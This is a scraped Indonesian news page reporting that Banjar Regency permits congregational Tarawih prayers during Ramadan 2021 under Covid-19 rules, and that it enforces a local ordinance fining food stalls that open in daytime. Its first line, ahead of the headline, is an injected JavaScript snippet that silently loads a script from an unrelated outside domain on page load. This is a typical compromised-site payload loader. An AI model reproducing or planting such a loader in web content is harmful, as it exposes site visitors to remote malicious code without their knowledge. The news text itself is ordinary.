(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pemkab Banjar Bolehkan Tarawih Berjemaah di Masjid dan Musala


KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar memperbolehkan pelaksanaan ibadah di bulan Ramadhan seperti Tarawih berjemaah, Tadarrus Al Qur’an, dan lainnya di masjid dan musala.

Khusus jamaah shalat Tarawih diimbau sebaiknya diprioritaskan pada penduduk sekitar masjid atau musala.

“Kami informasikan berbeda dengan tahun sebelumnya, pada Ramadhan kali ini Pemerintah Kabupaten Banjar mengizinkan pelaksanaan ibadah di bulan Ramadhan, seperti shalat sunat Tarawih berjemaah, Tadarrus Al Qur’an dengan tetap menerapkan standar protokol kesehatan Covid -19,” ujar Plt Kasatpol PP H M Aidil Basith saat melakukan sosialisasi Perda Ramadhan dan petunjuk tentang pelaksanaan ibadah selama bulan Ramadhan, Sabtu (10/4/2021).

Baca juga: Area Pencarian Bripka Mashudin Diperluas, Arus Deras dan Sampah Sungai Martapura Sulitkan Tim SAR

 

“Khusus Tarawih diimbau sebaiknya jemaah penduduk sekitar masjid atau musala,” ujarnya. Sosialisasi diawali di Majelis Ta’lim Sabilal Anwar Al Mubarak Martapura, HM Aidil Basith langsung bertemu pembina majelis Tuan Guru KH Syukri Unus.

Aidil Basith menyampaikan informasi Perda Ramadhan tentang jam buka berjualan di warung makan dan minum adalah di atas pukul 15.00 Wita.

Dengan tujuan melayani pembeli yang akan mencari menu atau takjil untuk berbuka puasa, dan larangan membuka warung makan dan minum pada saat pagi atau siang hari selama Ramadhan.

Baca juga: Jenazah Anggota Buser Polsek Banjarmasin Tengah Akhirnya Ditemukan

“Jika ditemukan ada pedagang warung yang nakal tetap berjualan dan melayani makan di siang hari, kami dari Satpol PP akan menindak tegas sesuai Perda Ramadhan nomor 5 tahun 2004 berupa denda dan kurungan, dengan ketentuan denda maksimal Rp 2,5 Juta atau kurungan maksimal 3 bulan penjara,” tegasnya.

Sanksi ini juga berlaku bagi mereka yang sengaja merokok minum dan makan di tempat umum berupa denda Rp 50 ribu atau hukuman kurungan 7 hari penjara.

Baca juga: Tim H2D Temukan Bakul Sembako Siap Bagi di Tambak Anyar

Usai bersilaturahmi dan menyampaikan sosialisasi di kediaman Tuan Guru KH Syukri Unus, Plt Kasatpol PP H Aidil Basith melanjutkan ke majelis ta’lim yang dipimpin oleh Tuan Guru KH Munawar di Kampung Melayu, Kecamatan Martapura Timur. (kanalkalimantan.com/mckominfobanjar/rls)

Editor : kk


Al Ghifari

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

12 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

13 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

15 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

18 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

19 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

21 jam ago

This website uses cookies.